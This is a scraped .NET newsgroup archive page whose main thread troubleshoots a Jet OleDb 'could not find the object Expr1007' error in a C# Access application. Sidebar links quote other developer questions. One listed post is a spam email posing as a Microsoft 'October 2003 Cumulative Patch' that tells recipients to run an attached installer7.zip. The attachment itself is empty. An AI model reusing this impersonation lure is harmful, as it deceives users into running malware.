| Jet database engine could not find the object 'Expr...' |
|
 |
Index ‹ DotNet ‹ ADO
|
- Previous
- 1
- 2
- Net Framework >> switch between local and remote (web) Business LogicHi Everyone,
i need some ideas for the following problem:
I am developing a three tier architecture. The client should be
implemented in WPF to be able to easily port the application to a web
application later on.
The Business and Data Tier should be easily portable from local
computer to a remote one somewhere on the web. So the only possible
Link between Client and Business Logic would be a Webservice, wouldn't
it?? In the local scenario I don't want to use a Webservice but only
the usual construct of interfaces to connect the layers.
What would be the best approach here ? Maybe you guys could push me
into some direction ??
I thought of implementing a second Assembly on the client which on one
side the client connects to, to send and receive it's data and which
can on the other side be configured easily to use either local
connection or the remote Webservice connection.
Thanks,
Oliver
- 3
- Net Framework >> dynamically determine .net baseframework version of exe or dllHi All,
Whether in a Winform application (.exe) or a .Net assembly (.dll), is there
a way to determine what version of the .net baseframework the run-time
module (i.e. exe or dll) was loaded with (is using)? Seems that using
reflection this is possible...just can't seem to figure out what
classes/instances will get me there. Thanks in advance!
Tony
- 4
- Microsoft Project >> Grouping Projects/Resource groupsHello,
I'm using Project 2003 standard.
I have several projects consolidated in one master project. My resources are
divided in several groups: A, B, C
Sometimes, theire are several ressource from different groups on the same
task.
Now, I need to edit Work statistics grouped by project then by resource
group, on a monthly timescale.
Such as:
Project1,
Group A
Group B
Project2
Group A
Group C
But Project generates "combined" groups such as A;B that pollute all the
statistics.
How to avoid this? I tried the "Groups assignments, not tasks" option
without success.
Thanks for help
- 5
- Visual C#.Net >> Object monitoring - listener?Hello,
In one class, I have a struct containing data for the application, how
can I have something monitor the variable for changes. If the struct
changed, some function will be called.
I'm reading about delegate, should it work?
- 6
- Dotnet >> event handlerPlease help.
My bread is at stake.
How do i know if a event has a handler associated with it?.
I dont want to keep counters myself.
Please , if any reader can reply, sedn a direct reply mail also to
shunya@vsnl.com
Mahesh Naik
- 7
- Visual C#.Net >> MetaprogrammingIf you do metaprogramming in C#, is the generated code garbage collected or
does it leak indefinitely?
--
Dr Jon D Harrop, Flying Frog Consultancy
http://www.ffconsultancy.com/products/?u
- 8
- Visual C#.Net >> Persisting the properties of a nested control at design timeI have a progress bar which is nested control and I want to persist
the design time properties of this nested control. I thought all I
needed to do was mark it with the
DesignerSerializationVisibility.Content attribute, as below:
[DesignerSerializationVisibility(DesignerSerializationVisibility.Content)]
public ProgressBar ProgressBar
{
get{return _progressBar;}
set{_progressBar = value;}
}
but for some reason the properies are not being persisted (eg value),
has anyone got any ideas of how to do this?
thanks
andrew
www.vbusers.com
- 9
- Visual C#.Net >> Matching Same Results In Single StringI would like to use the Regular Expression search in the Find dialog in
VS.Net to find a pattern in a code file. I am not sure if a pattern can be
written for the Find dialog that matches my criteria though.
Basically, I want to find all occurances of:
i = i + 1
where i can be any valid variable name, but all matches of i will be the
same on both sides of the '='. So:
a = a + 1 ' match
b = b + 1 ' match
c = c + 1 ' match
d = c + 1 ' invalid
c = a + 1 ' invalid
If this is possible, what would the pattern be to match this? Remember,
this isn't normal Regular Expressions, this is for the Find dialog in Visual
Studio .Net itself (and not a program I am writing).
Thanks,
Mythran
- 10
- Dotnet >> Implementing Interfacehi all,
How to implement an interface in ASP.Net?.
Consider my interface name is IExample. Then whatz mean by
IExample ie = (IExample)obj1
Kindly let me know about this implementing interface in detail.
Thanks in advance.
Regards,
Gomathi
- 11
- Dotnet >> c# lesson for c++ developersI was sitting on my porch reading 'c# Class Design' from WROX press and i
thought this paragraph was interesting:
______
Where reference types are concerned, C++ developers will need to get used to
not thinking in terms of pointers. Although this is more-or-less what
happens behind the scenes, the CRL moves objects around on the managed heap
and adjusts references on the fly while the application is running. SInce
we don't notice this at run time and it's no obvious from the source code,
it confuses matters if you mentally try to tranlate between c# and c++ as
you write.
_____
This to me shows what a radical break there is between c++ and c# and how
being a c++ *guru* can be a real detriment to learning c#.
--
W '04 <:> Open
- 12
- Dotnet >> ZIP in .NETHi..
My coleagues-programmers are coping with a problem. We want to find a way
to export our project (folder structure) into a single file.
We tought ZIP would be suitable for also utilizing a light compression.
Is there any free code or free library for C# that would support this
zipping, but including spanning, in case the date exceedes 2 GBs?
It must support the spanning. Withuout it, it is meaningless.
Thanks,
Kris
- 13
- ADO >> DateTime vs DateSince the .NET framework morphs both of these data types into being a
DATE.... that jsut happens to have both a DATE and TIME component.....
how do we tell.... which of these the data really is....... since the
same object tests out as DATE and DATETIME ?
The issue becomes one when we want to programatically create update
parameters for updating..... as there are databases that will not accept
the wrong string types..... and convert them on the fly.....
- 14
- Dotnet >> ODBC - Turning auto commit offHi all
I am runnig a Oracle procedure(this inserts records in table)
with asp.command object.
I dont want to commit the inserts, I want to turn auto-commit off when I
execute this procedure. Can this be done in ASP, if so, can some one give me
a example.
Any help will be really appreciated.
Thanks
mvr
- 15
|
| Author |
Message |
MusicMan

|
Posted: Wed Sep 26 06:01:56 PDT 2007 |
Top |
ADO >> Jet database engine could not find the object 'Expr...'
I have been connecting to MS-Access database using Jet 4.0
from C#.NET. My application works finely on my computer on which I've
made the application.
But I observed a strange behavior. When I run my application on other
computer that is installed .NET Framework, I get the following error
"System.Data.OleDb.OleDbException: The Microsoft Jet
database engine could not find the object 'Expr1007'.
Make sure the object exists and that you spell its name
and the path name correctly.".
When I open Access mdb in the UI and paste the query string into the
SQL window of the query designer and executes it, I get no error, the
query results correct rows. I do this test on both other and my
computer.
What's the solution?
Thanks in advance
... Orgil
DotNet18
|
| |
|
| |
 |
Paul

|
Posted: Wed Sep 26 06:01:56 PDT 2007 |
Top |
ADO >> Jet database engine could not find the object 'Expr...'
On Wed, 26 Sep 2007 01:54:56 -0700, Orgil <EMail@HideDomain.com> wrote:
¤ I have been connecting to MS-Access database using Jet 4.0
¤ from C#.NET. My application works finely on my computer on which I've
¤ made the application.
¤
¤ But I observed a strange behavior. When I run my application on other
¤ computer that is installed .NET Framework, I get the following error
¤ "System.Data.OleDb.OleDbException: The Microsoft Jet
¤ database engine could not find the object 'Expr1007'.
¤ Make sure the object exists and that you spell its name
¤ and the path name correctly.".
¤
¤ When I open Access mdb in the UI and paste the query string into the
¤ SQL window of the query designer and executes it, I get no error, the
¤ query results correct rows. I do this test on both other and my
¤ computer.
¤
¤ What's the solution?
¤
¤ Thanks in advance
What does the query string look like?
Paul
~~~~
Microsoft MVP (Visual Basic)
|
| |
|
| |
 |
Orgil

|
Posted: Wed Sep 26 20:36:52 PDT 2007 |
Top |
ADO >> Jet database engine could not find the object 'Expr...'
> What does the query string look like?
The query string is very simple: "SELECT [colUsername], [colPassword]
FROM TblUsers".
This query is the first query to be executed of all queries of the
application.
I tried other queries, such as "SELECT [colName], [colDesc], [colDate]
FROM TblNotes WHERE [colID] = 1".
But all of these get same error "Jet database engine could not find
the object 'Expr...'" on other computer.
|
| |
|
| |
 |
Paul

|
Posted: Thu Sep 27 05:30:45 PDT 2007 |
Top |
ADO >> Jet database engine could not find the object 'Expr...'
On Wed, 26 Sep 2007 20:36:52 -0700, Orgil <EMail@HideDomain.com> wrote:
¤ > What does the query string look like?
¤
¤ The query string is very simple: "SELECT [colUsername], [colPassword]
¤ FROM TblUsers".
¤ This query is the first query to be executed of all queries of the
¤ application.
¤
¤ I tried other queries, such as "SELECT [colName], [colDesc], [colDate]
¤ FROM TblNotes WHERE [colID] = 1".
¤
¤ But all of these get same error "Jet database engine could not find
¤ the object 'Expr...'" on other computer.
I don't see anything out of the ordinary here. I would try compacting the database on the machines
where the queries fail. I would also open the database on those machines and check to see if there
are any references listed as missing (Tools...References). Sometimes this can cause strange
behavior.
Paul
~~~~
Microsoft MVP (Visual Basic)
|
| |
|
| |
 |
| |
 |
Index ‹ DotNet ‹ ADO |
- Next
- 1
- Visual C#.Net >> InsertCommand???Hi,
I am running an insert statement into an access database, but i don't want
to add information to every column in my table... when i run my
insertcommand the following exception is thrown...
"Number of query values and Destination fields are not the same"...
How do i stop it from caring wether i insert a record for all my fields or
just one? and the fields that i am missing out are not required so i don't
understand the problem??
Any help would be appreciated.
Regards
Darryn
- 2
- 3
- Net Framework >> line control in VStudio.NETLooking for the good ol' Line Control in Visual Studio.NET that earlier used
to be part of the standard toolbox in VB6.
Any suggestions.
If there is no such control in VS.NET can anyone recommend a good way to
draw lines on WinForms.
thanks,
-paul
- 4
- Dotnet >> Problem Installing .NET 2003I have just opened and tried installing .NET 2003 after uninstalling Visual
Studio Express .NET 2005. It goes to item 1 - checking for necessary
components. I hav gone to Windows Update - every time it says that there is
an Office Service Pack 2 update, which I have installed at least 5 times
(every time I go to the Windows Update) and all of them say that to install
was successful. I have used the Prerequisites Discnd done all of the steps,
but no matter what I do I can' get past step 1 ????
Any suggestions.
--
Gus Evans
- 5
- 6
- Microsoft Project >> messy gantt charts and ordering tasksHi,
with projects with a large number of linked tasks it can quickly become a
mess in the Gantt chart, as task orders are changed and added. I know it is
possible to fix this by clicking on the task and moving it up or down the
sheet, but this can become tedious with so many tasks. Is there any faster
way to do this?
Kind Regards
- 7
- Dotnet >> Play an MP3I am writing a visual basic program, and I want to add something where a MP3
plays when a user clicks a button. Can this be done?
- 8
- Microsoft Project >> CompletionWhat is meant by % of complete, % of work complete,Physical % complete in ms
project 2003. what is the difference between this? can anyone help for this.
thnks in advance.
- 9
- 10
- Dotnet >> RichTextControl Rtf propertyI have an application that simply reads the text in a RichTextBox control, and stores the text into the database. I want to use the plain RichTextBox control and not a database rtf control.
When I read the Rtf property it returns the text combined with rft codes, e.g.:
"{\\rtf1 ....... \r\0"
I then store this text in my Access database via an OdbcCommand. When I read the text back from the database, the returned text is @-quoted as follows:
@"{\\rtf1 ....... \r\0"
When I try to set the RichTextControl Rtf property with the value from the database an exception is thrown.
It would appear that the Rtf property cannot accept @-quoted values (e.g. a value of
@"This is a test"
will cause an error.
How can I work around this problem while still using the RichTextControl in the scheme above.
- 11
- Dotnet >> Try security pack from M$ Corporation--wgqkxeticr
Content-Type: multipart/related; boundary="cihusivlwdlcobxdg";
type="multipart/alternative"
--cihusivlwdlcobxdg
Content-Type: multipart/alternative; boundary="hpgzorggfxcqp"
--hpgzorggfxcqp
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
MS Customer
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your computer.
This update includes the functionality =
of all previously released patches.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2003 Microsoft Corporation.
--hpgzorggfxcqp
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:syifgmr" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
MS Customer<BR><BR>
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run executable on your computer.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifoqwkk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifoqwkk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifoqwkk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifoqwkk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:ifoqwkk" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|
<A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" =
TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A>
</FONT></B>
</TD>
</TR>
<TR VALIGN=3D"MIDDLE">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1">
©2003 Microsoft Corporation. All rights reserved.
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>
|
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/privacy.htm" TARGET=3D"_top">
Privacy Statement</A> |
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
enable/" TARGET=3D"_top">Accessibility</A>
</FONT>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
--hpgzorggfxcqp--
--cihusivlwdlcobxdg
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <syifgmr>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX
55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z
3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk
3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt
9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6sz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LHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7
--cihusivlwdlcobxdg
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <ifoqwkk>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=
--cihusivlwdlcobxdg--
--wgqkxeticr
Content-Type: application/x-compressed; name="installer7.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
--wgqkxeticr--
- 12
- Visual C#.Net >> Sql Server 2005 problemHi,
Every once in a while, users get the following error from my
application:
System.Data.SqlClient.SqlException: A transport-level error has
occurred when receiving results from the server. (provider: TCP
Provider, error: 0 - The specified network name is no longer
available.)
at System.Data.SqlClient.SqlConnection.OnError(SqlException
exception, Boolean breakConnection)
at System.Data.SqlClient.SqlInternalConnection.OnError(SqlException
exception, Boolean breakConnection)
at
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject
stateObj)
at
System.Data.SqlClient.TdsParserStateObject.ReadSniError(TdsParserStateObject
stateObj, UInt32 error)
at System.Data.SqlClient.TdsParserStateObject.ReadSni(DbAsyncResult
asyncResult, TdsParserStateObject stateObj)
at System.Data.SqlClient.TdsParserStateObject.ReadPacket(Int32
bytesExpected)
at System.Data.SqlClient.TdsParserStateObject.ReadBuffer()
at System.Data.SqlClient.TdsParserStateObject.ReadByte()
at System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior,
SqlCommand cmdHandler, SqlDataReader dataStream,
BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj)
at System.Data.SqlClient.SqlDataReader.ConsumeMetaData()
at System.Data.SqlClient.SqlDataReader.get_MetaData()
at
System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds,
RunBehavior runBehavior, String resetOptionsString)
at
System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean
async)
at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String
method, DbAsyncResult result)
at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior
cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String
method)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior
behavior, String method)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior
behavior)
It usually is in a background thread which polls the database every 30
seconds, but it's happened when they were actually saving data in my
application as well. Once, the server disappeared for a minute. Any
idea what might be causing this problem? We're not having any power /
router problems.
Andy
- 13
- Microsoft Project >> Need Guidelines on Quaotation or Quotation Examplehi !!..
I m a student and am given the assignment to prepare a project plan and have to submit a quotation alongwith it. Please help me out with this. I would like ot havea Quotation sample so that i can refer to it while preparing for my own project . Please hurry as i have only few days left for my assignment submission
- 14
- Net Framework >> issue about output parameterHi everyone
In real work,some functions have output parameter,it is not necessary for the calling procedure to pass in a parameter that contain non-null value,so a programmer hope passing in a object variable and get back the output value
The following code works well in VB.NET
----------------------------------------------------
Public Function AddNumbers(ByVal NumberOne As Double,
ByVal NumberTwo As Double, ByRef note As String)
As Doubl
AddNumbers = NumberOne + NumberTw
note = "Hello,I'm a calculator.
End Functio
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Clic
Dim s1 As Objec
MsgBox(AddNumbers(7, 8, s1)
MsgBox(s1
End Su
----------------------------------------------------
But if the called function is in a COM object,using the calling code,just like that in Button1_Click() in VB.NET,will cause exception
In VB.NET,adding a reference to the COM dll,the calling code must be modified like this
------------------------------------------------------------
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Clic
Dim obj As new MyComClas
Dim s1 As string="
MsgBox(obj.AddNumbers(7, 8, s1)
MsgBox(s1
End Su
-------------------------------------------------------------
the critical difference is the declaration on variable s1.If not declaring it as a specific type and not assigning it a explicit value,the calling will fail
AS it is a output parameter,it seems not necessary to pass in a specific value,moreover,it will be more convinent if it can be passed in a object variable.In some case,the calling procedure can not declare the s1 variable as the corresponding date type to that in the declaration of the function
Is there anyone point out a solution to this
An early is appreciated
Best regards
Mary.
- 15
- Visual C#.Net >> can't see datagrid when running vs.net projectI can't see my datagrid when I run it from my project in
VisualStudio.net, but when I work with it locally thru
http://localhost/myproject/mydgrid.aspx, it works fine.:
datagrid coding:
//////////////////////////////
<asp:datagrid id="dgboard" Showfooter="true" BorderColor="#e5ecf9"
runat="server" AutoGenerateColumns="false" Font-Name="verdana"
Font-Size="smaller">
<HeaderStyle BackColor="#000000" ForeColor="#FFFFFF"/>
<FooterStyle BackColor="#e5ecf9" ForeColor="#000000"/>
<AlternatingItemStyle BackColor="#C0C0C0" />
<Columns>
<asp:BoundColumn
DataField="SalesRep_ID"
HeaderText="Rep ID"
ReadOnly="true">
</asp:BoundColumn>
<asp:BoundColumn
DataField="Deal_ID"
HeaderText="Deal ID">
</asp:BoundColumn>
<asp:BoundColumn
DataField="BoardDate"
DataFormatString="{0:d}"
HeaderText="Deal Date">
</asp:BoundColumn>
<asp:BoundColumn
DataField="lname"
HeaderText="Rep Last Name">
</asp:BoundColumn>
<asp:BoundColumn
DataField="dollars"
DataFormatString="{0:C}"
HeaderText="Amount$"
</asp:BoundColumn>
</Columns>
</asp:datagrid>
//////////////////////////
CODEBEHIND :
using System;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Web;
using System.Web.SessionState;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.HtmlControls;
namespace SportsMgrProject
{
/// <summary>
/// Summary description for btresults1.
/// </summary>
public class btresults1 : System.Web.UI.Page
{
protected System.Web.UI.WebControls.HyperLink HyperLink1;
protected System.Web.UI.WebControls.HyperLink HyperLink2;
protected System.Web.UI.WebControls.DataGrid dgboard;
protected System.Web.UI.WebControls.HyperLink HyperLink3;
protected System.Web.UI.WebControls.HyperLink HyperLink4;
private void Page_Load(object sender, System.EventArgs e)
{
// Put user code to initialize the page here
}
#region Web Form Designer generated code
override protected void OnInit(EventArgs e)
{
//
// CODEGEN: This call is required by the ASP.NET Web Form Designer.
//
InitializeComponent();
base.OnInit(e);
}
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.Load += new System.EventHandler(this.Page_Load);
}
#endregion
}
}
/////////////////////////
Thanks
Chumley
|
|
|